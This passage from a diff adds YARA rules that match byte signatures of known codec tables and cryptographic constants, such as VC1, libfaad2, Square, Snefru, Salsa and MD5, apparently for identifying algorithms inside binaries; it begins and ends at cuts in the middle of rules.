58b5a51852dd23ff000000000000040358b5a51852dd2400428a2f994abf440358b5a51852dd240114e9736120ac440358b5a51852dd2401965fea4b62d4e40358b5a51852dd240211989d50077f540358b5a51852dd24025ce31c9a6a79f40358b5a51852dd2402ac7f203bdfaa240358b5a51852dd2403000000000000040358b5a51852dd24032b8835c4072b740358b5a51852dd240358b5a51852dd240358b5a51852dd2403876ba5a03819540358b5a51852dd2403b791fd22d5ede40358b5a51852dd2403e913de898db2e40358b5a51852dd24040def99582b3a440358b5a51852dd240427f208eebc0ae40358b5a51852dd24050000000000000403876ba5a0381950000000000000000403876ba5a0381953ff0000000000000403876ba5a038195400428a2f994abf4403876ba5a03819540114e9736120ac4403876ba5a038195401965fea4b62d4e403876ba5a03819540211989d50077f5403876ba5a0381954025ce31c9a6a79f403876ba5a038195402ac7f203bdfaa2403876ba5a0381954030000000000000403876ba5a0381954032b8835c4072b7403876ba5a03819540358b5a51852dd2403876ba5a038195403876ba5a038195403876ba5a038195403b791fd22d5ede403876ba5a038195403e913de898db2e403876ba5a0381954040def99582b3a4403876ba5a03819540427f208eebc0ae403876ba5a0381954050000000000000403b791fd22d5ede0000000000000000403b791fd22d5ede3ff0000000000000403b791fd22d5ede400428a2f994abf4403b791fd22d5ede40114e9736120ac4403b791fd22d5ede401965fea4b62d4e403b791fd22d5ede40211989d50077f5403b791fd22d5ede4025ce31c9a6a79f403b791fd22d5ede402ac7f203bdfaa2403b791fd22d5ede4030000000000000403b791fd22d5ede4032b8835c4072b7403b791fd22d5ede40358b5a51852dd2403b791fd22d5ede403876ba5a038195403b791fd22d5ede403b791fd22d5ede403b791fd22d5ede403e913de898db2e403b791fd22d5ede4040def99582b3a4403b791fd22d5ede40427f208eebc0ae403b791fd22d5ede4050000000000000403e913de898db2e0000000000000000403e913de898db2e3ff0000000000000403e913de898db2e400428a2f994abf4403e913de898db2e40114e9736120ac4403e913de898db2e401965fea4b62d4e403e913de898db2e40211989d50077f5403e913de898db2e4025ce31c9a6a79f403e913de898db2e402ac7f203bdfaa2403e913de898db2e4030000000000000403e913de898db2e4032b8835c4072b7403e913de898db2e40358b5a51852dd2403e913de898db2e403876ba5a038195403e913de898db2e403b791fd22d5ede403e913de898db2e403e913de898db2e403e913de898db2e4040def99582b3a4403e913de898db2e40427f208eebc0ae403e913de898db2e40500000000000004040def99582b3a400000000000000004040def99582b3a43ff00000000000004040def99582b3a4400428a2f994abf44040def99582b3a440114e9736120ac44040def99582b3a4401965fea4b62d4e4040def99582b3a440211989d50077f54040def99582b3a44025ce31c9a6a79f4040def99582b3a4402ac7f203bdfaa24040def99582b3a440300000000000004040def99582b3a44032b8835c4072b74040def99582b3a440358b5a51852dd24040def99582b3a4403876ba5a0381954040def99582b3a4403b791fd22d5ede4040def99582b3a4403e913de898db2e4040def99582b3a44040def99582b3a44040def99582b3a440427f208eebc0ae4040def99582b3a4405000000000000040427f208eebc0ae000000000000000040427f208eebc0ae3ff000000000000040427f208eebc0ae400428a2f994abf440427f208eebc0ae40114e9736120ac440427f208eebc0ae401965fea4b62d4e40427f208eebc0ae40211989d50077f540427f208eebc0ae4025ce31c9a6a79f40427f208eebc0ae402ac7f203bdfaa240427f208eebc0ae403000000000000040427f208eebc0ae4032b8835c4072b740427f208eebc0ae40358b5a51852dd240427f208eebc0ae403876ba5a03819540427f208eebc0ae403b791fd22d5ede40427f208eebc0ae403e913de898db2e40427f208eebc0ae4040def99582b3a440427f208eebc0ae40427f208eebc0ae40427f208eebc0ae40500000000000004050000000000000000000000000000040500000000000003ff00000000000004050000000000000400428a2f994abf4405000000000000040114e9736120ac44050000000000000401965fea4b62d4e405000000000000040211989d50077f540500000000000004025ce31c9a6a79f4050000000000000402ac7f203bdfaa24050000000000000403000000000000040500000000000004032b8835c4072b7405000000000000040358b5a51852dd24050000000000000403876ba5a0381954050000000000000403b791fd22d5ede4050000000000000403e913de898db2e40500000000000004040def99582b3a4405000000000000040427f208eebc0ae40500000000000004050000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule VC1_non_uniform_implicit_quantizers__8_byt_32_
+{
+strings:
+	$a0 = { 000000000000000000060708090a0b0c0d0e0f101112131415161718191b1d1f }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_qdm2_fft_tone_envelope_table__flt32___32_lil_496_
+{
+strings:
+	$a0 = { 40681d3c10e51b3d3c93ac3d1cf6153e4e8c633e76089e3e910ece3e0100003fb9f8183fc6fb303fee1c473f7a825a3f996d6a3fb041763f608a7d3f0000803f5f8a7d3faf41763f986d6a3f78825a3fec1c473fc4fb303fb7f8183f0000003f900ece3e75089e3e4c8c633e1af6153e3893ac3d08e51b3d20681d3c10e51b3d1cf6153e76089e3e0100003fc6fb303f7a825a3fb041763f0000803faf41763f78825a3fc4fb303f0000003f75089e3e1af6153e08e51b3d000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001cf6153e0100003f7a825a3f0000803f78825a3f0000003f1af6153e0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100003f0000803f0000003f00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule Boucher_randgen5__32_lil_AND_
+{
+strings:
+	$a0 = { 5d010000[0-20]b9030000[0-20]59020000[0-20]ef020000[0-20]2d020000[0-20]77030000 }
+
+condition:
+	$a0
+}
+
+	
+rule libaf_center_front___5_degrees___flt64___64_big_1024_
+{
+strings:
+	$a0 = { bf16a4eb3e0f747b3f34f57449bcce71bf406b38e2fed1353f52b7e242729aecbf59f4b4202e63703f5c8d7a5f72c30dbf52279f7a67771d3f25a69f2869773a3f7571533809d5c13f6cdaf8e443fb453f84991f25185f32bfa122e7c8d2fd693f8b6cdf985d8a9b3f73e677b0181e903fb4ebb523c7a3f23fd0bdd30b4472a0bfbfcbc70169ff8bbfc24d519f1d003c3fc275c46dd4402bbfc4f02a362a5925bf9665729bcc1b4c3fcf1058467206853fb282218bcaa69f3fb8225bb5d9f81e3fd31bbe407577ae3fd2d7b067045d57bfbf086076dde101bfc923aa57b584d63fbdc1cc284d8ba8bfadaa58fbbaf9d7bfd5f5dd55813777bfc8f1ab58da2b9d3f84b94460ccce66bfb837d9577de20bbfc5746a4d26bfc93f710444cbf835f63fab047dcd37ddadbf3b68e65bc6846f3f9627799e3fa2f03fb35c5a32ecd5763fb6c5b1ab0ef0653fa4683c553c84b83fa6a8f9e8f77c7f3faf8479cbfc22643f8fd73f0f6fc343bf987b6399de3c0f3f8373b4110c828f3fa38a0f633b427cbf841cc547827e25bfa5818b8a6381c9bfa113d655ba51d9bf9dff61586134eebfaab04a15ed4a0dbfb2cc25d1a604f9bfaf546676f2dd7fbfa7a8bd28324aa8bfa587142a14b23ebf97e0fa458cd8633f6153162eb8d08b3f8175e4065b273c3f81f45548b469ce3f81bfcfae43af363f92b7c87e70a4793f9df1f67d2d2acb3f96d403dac4e6ea3f89515326859fb53f818e808a6c370c3f7a96b2122c7cbbbf5fbb15e27b72cdbf79e19ae0a03b07bf7a739f275a98a4bf8ed2ac71cbed5cbf959cf82378dc35bf916fbcecc411debf90e8227237426cbf9751092368ba1fbf947a8de66add42bf892e030d592a13bf87907cd53c026abf87728ed19e9115bf73c1e1d4a1b2193f62645814b5bbe83f70fad81396b82b3f770e7740911b4b3f819699c4de7eda3f84ab23dd8ff4aa3f7d6ae3002535fd3f57ec183cab3f70bf6f6329e8a26743bf6c3662ce72ede2bf68271ef6f8c4ccbf7f2afd3f14a917bf7ab3015747e706bf726a311ddfe9b2bf7d1e71fdc017bbbf8117d5013b7305bf76c6f89727f2c3bf6885b9ee9daf23bf74fbbf69581ae8bf71fb054d15c438bf51e1171ef055ffbf6025e9862d89cfbf780b4faf42e74bbf770b74b3467a60bf31dca063470b323f5699cd2703a667bf4365496faebca3bf49c2749b5331c1bf47199988c74cacbf6acdebbe689c7abf7245536d55e6cfbf6a3ac5a4a9f03ebf690cede0543153bf6d712977f5ec94bf6f2817f5580341bf72e5e511372f0dbf787e1f64c7117bbf713557aa5e0eebbf5446353980ccf23f4c174d234f0b403f619afbb89c15783f3efed4f227e270bf4fb0045e9df6a7bf5630efce58f933bf6845a84cb98fd8bf75deb909083625bf7666e00174664cbf71d75ef0074a6e }
+
+condition:
+	$a0
+}
+
+	
+rule PKWare_Data_Compression_Library__DCL___blast_c_litlen___8_byt_98_
+{
+strings:
+	$a0 = { 0b7c08071c07bc0d4c040a080c0a0c0a08170809070607080706370817180c0b07090b0c060716050718060b09060716070b26070908190b080b090c080c05260526050b07050615060a350807180a1b2cfdfdfdfcfcfc0d0c2d0c2d0c3d0c2d2cad }
+
+condition:
+	$a0
+}
+
+	
+rule Square_crypto_algorithm_T_encoding__32_big_4096_
+{
+strings:
+	$a0 = { 97b1b12669cecea773c3c3b0df95954ab45a5aeeafadad023be7e7dc040202069a4d4dd7884444cc03fbfbf8d7919146180c0c14fb87877cb7a1a116a05050f063cbcba8ce6767a9a85454fc4fdddd928c4646caeb8f8f6437e1e1d69c4e4ed215f0f0e50ffdfdf20dfcfcf123ebebc807f9f9fe7dc4c4b9341a1a2edc6e6eb2bc5e5ee21ff5f5ea6dcccca1ef8d8d62381c1c24ac5656fa864343c509fefef70e070709c26161a305f8f8fdea75759fb25959eb0bfffff40603030544222266e18a8a6b57d1d1862613133529eeeec7e588886d000000001c0e0e126834345c2a15153ff5808075dd94944933e3e3d02fededc29fb5b52aa65353f546232365964b4bdd8e4747c92e171739bba7a71cd59090456a35355fa3abab0845d8d89d85b8b83d4bdfdf949e4f4fd1ae5757f9c19a9a5bd192924343dbdb98361b1b2d783c3c4465c8c8adc799995e0804040ce98e8e6735e0e0d55bd7d78cfa7d7d87ff85857a83bbbb38804040c0582c2c74743a3a4e8a4545cf17f1f1e6844242c6ca6565af40202060824141c330181828e47272964a25256fd3939340e07070906c36365a0a05050f11f2f2e3160b0b1db3a3a310f279798b2dececc1100808184e272769623131536432325699b6b62ff87c7c8495b0b025140a0a1ee6737395b65b5bedf67b7b8d9bb7b72cf781817651d2d2831a0d0d17d46a6abe4c26266ac99e9e57b05858e8cd9c9c51f3838370e874749c93b3b320adacac0160303050f47a7a8ed26969bbee7777991e0f0f11a9aeae074221216349dede9755d0d0855c2e2e72db97974c20101030bda4a419c598985da5a8a80d5dd4d489d06868b85a2d2d77c46262a65229297bda6d6db72c16163a924949dbec76769a7bc7c7bc25e8e8cd77c1c1b6d996964f6e3737593fe5e5da61cacaab1df4f4e927e9e9cec66363a52412123671c2c2b3b9a6a61f2814143c8dbcbc3153d3d38050282878abafaf045e2f2f7139e6e6df4824246ca45252f679c6c6bfb5a0a0151209091b8fbdbd32ed8c8c616bcfcfa4ba5d5de722111133be5f5fe1020101037fc5c5bacb9f9f547a3d3d47b1a2a213c39b9b5867c9c9ae763b3b4d89bebe37a25151f33219192b3e1f1f217e3f3f41b85c5ce491b2b2232befefc4944a4ade6fcdcda28bbfbf3481baba3bde6f6fb1c86464ac47d9d99e13f3f3e07c3e3e429db4b429a1aaaa0b4ddcdc915fd5d58a0c06060a75c0c0b5fc7e7e8219f6f6efcc6666aad86c6cb4fd848479e27171937038384887b9b93e3a1d1d27fe7f7f81cf9d9d52904848d8e38b8b68542a2a7e41dada9bbfa5a51a66333355f18282737239394b59d6d68ff0787888f986867f01fafafb3de4e4d9562b2b7da7a9a90e3c1e1e22e789896ec06060a0d66b6bbd21eaeacbaa5555ff984c4cd41bf7f7ec31e2e2d32697b1b1a769ceceb073c3c34adf9595eeb45a5a02afadaddc3be7e706040202d79a4d4dcc884444f803fbfb46d7919114180c0c7cfb878716b7a1a1f0a05050a863cbcba9ce6767fca85454924fddddca8c464664eb8f8fd637e1e1d29c4e4ee515f0f0f20ffdfdf10dfcfcc823ebebfe07f9f9b97dc4c42e341a1ab2dc6e6ee2bc5e5eea1ff5f5a16dcccc62ef8d8d24381c1cfaac5656c5864343f709fefe090e0707a3c26161fd05f8f89fea7575ebb25959f40bffff05060303664422226be18a8a8657d1d135261313c729eeee6de5888800000000121c0e0e5c6834343f2a151575f5808049dd9494d033e3e3c22feded2a9fb5b5f5a6535365462323dd964b4bc98e4747392e17171cbba7a745d590905f6a353508a3abab9d45d8d83d85b8b8944bdfdfd19e4f4ff9ae57575bc19a9a43d192929843dbdb2d361b1b44783c3cad65c8c85ec799990c08040467e98e8ed535e0e08c5bd7d787fa7d7d7aff85853883bbbbc080404074582c2c4e743a3acf8a4545e617f1f1c6844242afca656560402020c38241412830181896e472726f4a252540d3939390e070705a6c36360f0a0505e311f2f21d160b0b10b3a3a38bf27979c12decec18100808694e272753623131566432322f99b6b684f87c7c2595b0b01e140a0a95e67373edb65b5b8df67b7b2c9bb7b776f781818351d2d2171a0d0dbed46a6a6a4c262657c99e9ee8b0585851cd9c9c70f383839ce874742093b3b301adacac506030308ef47a7abbd2696999ee7777111e0f0f07a9aeae634221219749dede8555d0d0725c2e2e4cdb97973020101019bda4a45dc598980da5a8a8895dd4d4b8d06868775a2d2da6c462627b522929b7da6d6d3a2c1616db9249499aec7676bc7bc7c7cd25e8e8b677c1c14fd99696596e3737da3fe5e5ab61cacae91df4f4ce27e9e9a5c6636336241212b371c2c21fb9a6a63c281414318dbcbc8053d3d37850282804abafaf715e2f2fdf39e6e66c482424f6a45252bf79c6c615b5a0a01b120909328fbdbd61ed8c8ca46bcfcfe7ba5d5d33221111e1be5f5f03020101ba7fc5c554cb9f9f477a3d3d13b1a2a258c39b9bae67c9c94d763b3b3789bebef3a251512b321919213e1f1f417e3f3fe4b85c5c2391b2b2c42befefde944a4aa26fcdcd348bbfbf3b81babab1de6f6facc864649e47d9d9e013f3f3427c3e3e299db4b40ba1aaaa914ddcdc8a5fd5d50a0c0606b575c0c082fc7e7eef19f6f6aacc6666b4d86c6c79fd848493e27171487038383e87b9b9273a1d1d81fe7f7f52cf9d9dd890484868e38b8b7e542a2a9b41dada1abfa5a55566333373f182824b7239398f59d6d688f078787ff98686fb01fafad93de4e47d562b2b0ea7a9a9223c1e1e6ee78989a0c06060bdd66b6bcb21eaeaffaa5555d4984c4cec1bf7f7d331e2e2b12697b1cea769cec3b073c3954adf955aeeb45aad02afade7dc3be7020604024dd79a4d44cc8844fbf803fb9146d7910c14180c877cfb87a116b7a150f0a050cba863cb67a9ce6754fca854dd924fdd46ca8c468f64eb8fe1d637e14ed29c4ef0e515f0fdf20ffdfcf10dfcebc823ebf9fe07f9c4b97dc41a2e341a6eb2dc6e5ee2bc5ef5ea1ff5cca16dcc8d62ef8d1c24381c56faac5643c58643fef709fe07090e0761a3c261f8fd05f8759fea7559ebb259fff40bff03050603226644228a6be18ad18657d113352613eec729ee886de588000000000e121c0e345c6834153f2a158075f5809449dd94e3d033e3edc22fedb52a9fb553f5a653236546234bdd964b47c98e4717392e17a71cbba79045d590355f6a35ab08a3abd89d45d8b83d85b8df944bdf4fd19e4f57f9ae579a5bc19a9243d192db9843db1b2d361b3c44783cc8ad65c8995ec799040c08048e67e98ee0d535e0d78c5bd77d87fa7d857aff85bb3883bb40c080402c74582c3a4e743a45cf8a45f1e617f142c6844265afca652060402041c38241182830187296e472256f4a259340d3937090e070365a6c36050f0a05f2e311f20b1d160ba310b3a3798bf279ecc12dec0818100827694e273153623132566432b62f99b67c84f87cb02595b00a1e140a7395e6735bedb65b7b8df67bb72c9bb78176f781d28351d20d171a0d6abed46a266a4c269e57c99e58e8b0589c51cd9c8370f383749ce874b32093b3ac01adac305060307a8ef47a69bbd2697799ee770f111e0fae07a9ae21634221de9749ded08555d02e725c2e974cdb9710302010a419bda4985dc598a80da5a8d4895dd468b8d0682d775a2d62a6c462297b52296db7da6d163a2c1649db9249769aec76c7bc7bc7e8cd25e8c1b677c1964fd99637596e37e5da3fe5caab61caf4e91df4e9ce27e963a5c66312362412c2b371c2a61fb9a6143c2814bc318dbcd38053d328785028af04abaf2f715e2fe6df39e6246c482452f6a452c6bf79c6a015b5a0091b1209bd328fbd8c61ed8ccfa46bcf5de7ba5d113322115fe1be5f01030201c5ba7fc59f54cb9f3d477a3da213b1a29b58c39bc9ae67c93b4d763bbe3789be51f3a251192b32191f213e1f3f417e3f5ce4b85cb22391b2efc42bef4ade944acda26fcdbf348bbfba3b81ba6fb1de6f64acc864d99e47d9f3e013f33e427c3eb4299db4aa0ba1aadc914ddcd58a5fd5060a0c06c0b575c07e82fc7ef6ef19f666aacc666cb4d86c8479fd847193e27138487038b93e87b91d273a1d7f81fe7f9d52cf9d48d890488b68e38b2a7e542ada9b41daa51abfa5335566338273f182394b7239d68f59d67888f078867ff986fafb01fae4d93de42b7d562ba90ea7a91e223c1e896ee78960a0c0606bbdd66beacb21ea55ffaa554cd4984cf7ec1bf7e2d331e2b1b12697cecea769c3c3b07395954adf5a5aeeb4adad02afe7e7dc3b020206044d4dd79a4444cc88fbfbf803919146d70c0c141887877cfba1a116b75050f0a0cbcba8636767a9ce5454fca8dddd924f4646ca8c8f8f64ebe1e1d6374e4ed29cf0f0e515fdfdf20ffcfcf10debebc823f9f9fe07c4c4b97d1a1a2e346e6eb2dc5e5ee2bcf5f5ea1fcccca16d8d8d62ef1c1c24385656faac4343c586fefef7090707090e6161a3c2f8f8fd0575759fea5959ebb2fffff40b03030506222266448a8a6be1d1d1865713133526eeeec72988886de5000000000e0e121c34345c6815153f2a808075f5949449dde3e3d033ededc22fb5b52a9f5353f5a6232365464b4bdd964747c98e1717392ea7a71cbb909045d535355f6aabab08a3d8d89d45b8b83d85dfdf944b4f4fd19e5757f9ae9a9a5bc1929243d1dbdb98431b1b2d363c3c4478c8c8ad6599995ec704040c088e8e67e9e0e0d535d7d78c5b7d7d87fa85857affbbbb38834040c0802c2c74583a3a4e744545cf8af1f1e6174242c6846565afca202060404141c38218182830727296e425256f4a939340d3707090e036365a6c05050f0af2f2e3110b0b1d16a3a310b379798bf2ececc12d080818102727694e3131536232325664b6b62f997c7c84f8b0b025950a0a1e14737395e65b5bedb67b7b8df6b7b72c9b818176f7d2d283510d0d171a6a6abed426266a4c9e9e57c95858e8b09c9c51cd838370f374749ce8b3b32093acac01ad303050607a7a8ef46969bbd2777799ee0f0f111eaeae07a921216342dede9749d0d085552e2e725c97974cdb10103020a4a419bd98985dc5a8a80da5d4d4895d6868b8d02d2d775a6262a6c429297b526d6db7da16163a2c4949db9276769aecc7c7bc7be8e8cd25c1c1b67796964fd93737596ee5e5da3fcacaab61f4f4e91de9e9ce276363a5c612123624c2c2b371a6a61fb914143c28bcbc318dd3d3805328287850afaf04ab2f2f715ee6e6df3924246c485252f6a4c6c6bf79a0a015b509091b12bdbd328f8c8c61edcfcfa46b5d5de7ba111133225f5fe1be01010302c5c5ba7f9f9f54cb3d3d477aa2a213b19b9b58c3c9c9ae673b3b4d76bebe37895151f3a219192b321f1f213e3f3f417e5c5ce4b8b2b22391efefc42b4a4ade94cdcda26fbfbf348bbaba3b816f6fb1de6464acc8d9d99e47f3f3e0133e3e427cb4b4299daaaa0ba1dcdc914dd5d58a5f06060a0cc0c0b5757e7e82fcf6f6ef196666aacc6c6cb4d8848479fd717193e238384870b9b93e871d1d273a7f7f81fe9d9d52cf4848d8908b8b68e32a2a7e54dada9b41a5a51abf33335566828273f139394b72d6d68f59787888f086867ff9fafafb01e4e4d93d2b2b7d56a9a90ea71e1e223c89896ee76060a0c06b6bbdd6eaeacb215555ffaa4c4cd498f7f7ec1be2e2d331 }
+
+condition:
+	$a0
+}
+
+	
+rule liba52_baptab__8_byt_305_
+{
+strings:
+	$a0 = { 1010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010100E0E0E0E0E0E0E0E0C0C0C0C0B0B0B0B0A0A0A0A09090909080808080707070706060606050505050404FDFD030303FEFEFFFFFFFFFF0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_pow05_table__flt64___64_big_56_
+{
+strings:
+	$a0 = { 3ffae89f995ad3b13ff6a09e667f3be33ff306fe0a31b7103ff00000000000003feae89f995ad3843fe6a09e667f3be33fe306fe0a31b710 }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_drc_pow2_table__flt64___64_lil_376_
+{
+strings:
+	$a0 = { b2583e9f0578e03f7945dc928ff3e03f74d5783cb872e13f1411cec39af5e13f5a9f011c537ce23f3787310afe06e33f6f4b172bb995e33f84ed86f9a228e43fc8a832d5dabfe43f87fbf208815be53fbed8dcd1b6fbe53f1e1581669ea0e63fe41be7fd5a4ae73fb18a63d710f9e73f29152a42e5ace83fad9d3fa5fe65e93fafc4be878424ea3f343061999fe8ea3f0998dfba79b2eb3fd93549073e82ec3f2c00fbdc1858ed3f5e9712e73734ee3f0d264f27ca16ef3f000000000000f03fb2583e9f0578f03f7945dc928ff3f03facb47f3cb872f13fdc31c7c39af5f13f927e081c537cf23f3787310afe06f33f376c102bb995f33fbccc8df9a228f43f008839d5dabff43f87fbf208815bf53ff6b7e3d1b6fbf53f1e1581669ea0f63fe41be7fd5a4af73fe9696ad710f9f73f29152a42e5acf83fad9d3fa5fe65f93fafc4be878424fa3ffc505a999fe8fa3f0998dfba79b2fb3f111550073e82fc3f2c00fbdc1858fd3f5e9712e73734fe3fd5464827ca16ff3f }
+
+condition:
+	$a0
+}
+
+	
+rule zinflate_lengthStarts__16_lil_58_
+{
+strings:
+	$a0 = { 03000400050006000700080009000a000b000d000f001100130017001b001f0023002b0033003b0043005300630073008300a300c300e3000201 }
+
+condition:
+	$a0
+}
+
+	
+rule ICE__block_cipher__ice_pbox__64_lil_256_
+{
+strings:
+	$a0 = { 01000000000000008000000000000000000400000000000000200000000000000000080000000000000020000000000000000001000000000000004000000000080000000000000020000000000000000001000000000000004000000000000000000100000000000000800000000000000000040000000000000020000000000400000000000000100000000000000000020000000000000080000000000000000002000000000000004000000000000000000800000000000000100000000002000000000000004000000000000000000800000000000000100000000000000000040000000000000010000000000000000002000000000000008000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule UUEncodeTable__8_byt_ASC_64_
+{
+strings:
+	$a0 = { 602122232425262728292a2b2c2d2e2f303132333435363738393a3b3c3d3e3f404142434445464748494a4b4c4d4e4f505152535455565758595a5b5c5d5e5f }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_pow2_tab__flt64___64_big_520_
+{
+strings:
+	$a0 = { 3ff00000000000003ff02c9a3e7780633ff059b0d31585763ff0874518759bc63ff0b5586cf989103ff0e3ec32d3d1a13ff11301d0125b523ff1429aaea92de13ff172b83c7d517c3ff1a35beb6fcb753ff1d4873168b9a83ff2063b88628cd73ff2387a6e75623a3ff26b4565e27cde3ff29e9df51fdee33ff2d285a6e4030a3ff306fe0a31b7153ff33c08b26416ff3ff371a7373aa9cb3ff3a7db34e59ff73ff3dea64c1234223ff4160a21f72e2a3ff44e086061892c3ff486a2b5c13ccf3ff4bfdad5362a293ff4f9b2769d2ca53ff5342b569d4f813ff56f4736b527da3ff5ab07dd48542b3ff5e76f15ad214a3ff6247eb03a55853ff66238825522243ff6a09e667f3bcc3ff6dfb23c651a2f3ff71f75e8ec5f763ff75feb564267c93ff7a11473eb01853ff7e2f336cf4e633ff82589994cce143ff868d99b4492eb3ff8ace5422aa0dc3ff8f1ae991577363ff93737b0cdc5e73ff97d829fde4e503ff9c49182a3f08f3ffa0c667b5de5663ffa5503b23e255d3ffa9e6b5579fdbd3ffae89f995ad3ad3ffb33a2b84f15fd3ffb7f76f2fb5e473ffbcc1e904bc1d13ffc199bdd85529e3ffc67f12e57d14a3ffcb720dcef90683ffd072d4a07897d3ffd5818dcfba4853ffda9e603db32873ffdfc97337b9b5f3ffe502ee78b3ff83ffea4afa2a490d83ffefa1bee615a253fff50765b6e453f3fffa7c1819e90d84000000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule SALSA__32_lil_AND_
+{
+strings:
+	$a0 = { 65787061[0-20]6e642031[0-20]6e642033[0-20]362d6279[0-20]322d6279[0-20]7465206b }
+
+condition:
+	$a0
+}
+
+	
+rule PSX_VAG_CD_ROM_XA_ADPCM_table__32_lil_40_
+{
+strings:
+	$a0 = { 00000000000000003C0000000000000073000000CCFFFFFF62000000C9FFFFFF7A000000C4FFFFFF }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_cfft_tab_64__flt32___32_lil_512_
+{
+strings:
+	$a0 = { 0000803f000000006dc47e3f36bdc83dbe147b3fc2c5473e0bfa743f31a0943e5e836c3f16efc33e97c5613fea5af13e31db543fda390e3f03e4453f9a67223ff304353ff304353f9967223f03e4453fd9390e3f32db543fe75af13e98c5613f15efc33e5e836c3f30a0943e0bfa743fbcc5473ebf147b3f35bdc83d6dc47e3f0000803f00000000be147b3fc2c5473e5e836c3f16efc33e31db543fda390e3ff304353ff304353fd9390e3f32db543f15efc33e5e836c3fbcc5473ebf147b3f2ebd3bb30000803fc2c547bebe147b3f18efc3be5e836c3fdc390ebf30db543ff30435bff304353f32db54bfd9390e3f60836cbf10efc33ebf147bbfc1c5473e0000803f000000000bfa743f31a0943e31db543fda390e3f9967223f03e4453f15efc33e5e836c3f35bdc83d6dc47e3fc2c547bebe147b3fed5af1be97c5613ff30435bff304353f97c561bfed5af13ebf147bbfc1c5473e6dc47ebf47bdc8bd5e836cbf15efc3be05e445bf986722bfd6390ebf34db54bf2da094be0bfa74bf0000803f000000005e836c3f16efc33ef304353ff304353f15efc33e5e836c3f0000803f00000000f304353ff304353f2ebd3bb30000803ff30435bff304353f0000803f0000000015efc33e5e836c3ff30435bff304353f5e836cbf15efc3be0000803f000000000000803f000000000000803f000000002ede4c32000080bf }
+
+condition:
+	$a0
+}
+
+	
+rule MD5_constants__32_big_AND_
+{
+strings:
+	$a0 = { 67452301[0-20]10325477[0-20]67452302[0-20]10325476 }
+
+condition:
+	$a0
+}
+
+	
+rule VC1_transform_matrix_4x4__32_lil_64_
+{
+strings:
+	$a0 = { 11000000110000001100000011000000160000000A000000F6FFFFFFEAFFFFFF11000000EFFFFFFFEFFFFFFF110000000A000000EAFFFFFF16000000F6FFFFFF }
+
+condition:
+	$a0
+}
+
+	
+rule Snefru_S_box_1__32_lil_1024_
+{
+strings:
+	$a0 = { 091d4a075a0ea152f8a375926c50824b1b7edf37c5b3784cdab1face7e2672f4f64530b6c01f6ad6e3980240940ce627b8f1d287cc569edf0318cd4598e0351d36c7e7ccf13b4803d707731f48f9e8c611c113e6ffc655397ced701141da958ef41bc3992180daa4fb945f7b1fa50ddd77aa626523cb6b55c6ac1bdbb94080798f37e5bfe6551d73eebfa5da60bc9b38a4fb331b0472569c686cc236699dee77883eeb8aceb5502d90e77995fc3cb1422bd3fb33a70305ee242886b5ad1ee415f72e41c87512449d82c5ce2fb783f45fdf31398f7b2a5d2ef97b4649a9de530635ce84265c5e657ed87127f167cc15bba17c09ab52cf3d9826f0dd10577f2621b4f6582c65320431018cab0b992049d519e6aaac4ae54c94393dd1f232fcd3ad408aa0cd51d4b0e2ae08fe9ed20fd5b9fdd75ceadd49a7c95322ea13aaeb2d830f64be246a923ee0de1ce029189ff58bb6009d0f468b23e1348e7d1edb9a61939f2fb376ec2c97bd76a91fe310bb8fa69da43bfb1dc48785d0d1ada5bf84cff35011e1d4bca6ffd98c01f6c37205f1ae2f4ba6745995dce7d535ae2a7f586f5bfe53e3a974b64fcaa824ba045f87c6e56662bcdc3fc0c56b02ef1e66ab0b74ede4348e05cf46e9b725816988ed48ec72a37310b1eb8534a19c42a2a2477540fa1367b7507dc31854a52d19964bb00b171e028a51d113acb02afa6309e1106e4adc2b475862d9f8f7ea3991973865858d427099c07a4d3248cb23764464e3bb8c0e6b0c6eb0636dd3844c243f71c94235c18d222bbb2503cbe9d6c0f86b0611de279364a83ef831fc0604d87d61dd16f9d3799fd8c2445161315db4eb58290028370a895608385bf044e83a12169e8386830d4b913cb406c55eba3ccfc9f5607ca0b2de2215279c5defa07bc70b36454f8b7d01c129dc5ae49b9059a793d22c41b196d7d730ffc800804aa323915cc14eb5784e712ee4b9474deaf3785b8f077f3a596c341a7aa8a312fecb9b6399433d8e6defb22860d4b8cad52f6c56526762f3a2f2010aae96bc20899a70876e14b4e2b90863baa7bd649268edafa2f23760e06929f5a643db0a00148182f0bdd0909e54c919736a3f204fafcc1a6d4e718905474d16075f6667706120ecb282210c819c2ba0229728538676a9f679410e144988779f5de1889a54dbca256ff357d1c321a4328ae968b30dcd925ad4a87a7578c20ac2c751b508e8919484d65ac74dbe337c6933caf0ba4e5b1246b377d659f2c8d9300c86afd0fad07f1c2cf70ffe436f8d5c3becfd5797adb66a89df2ad2851717182de2bf021709b86daf16b2809a4f5ee86e301c7af59bc46f1ca1f73ae715e281cd3f3668c857933e55fd52ef4cab8b3b95f48c3cbdeefcbe14b725fd3dd898c48d1a2e0dac66f9e94574380ee5195443c4be7e5ed9b890aa963a1aff }
+
+condition:
+	$a0
+}
+
+	
+rule Frog_seed__8_byt_256_
+{
+strings:
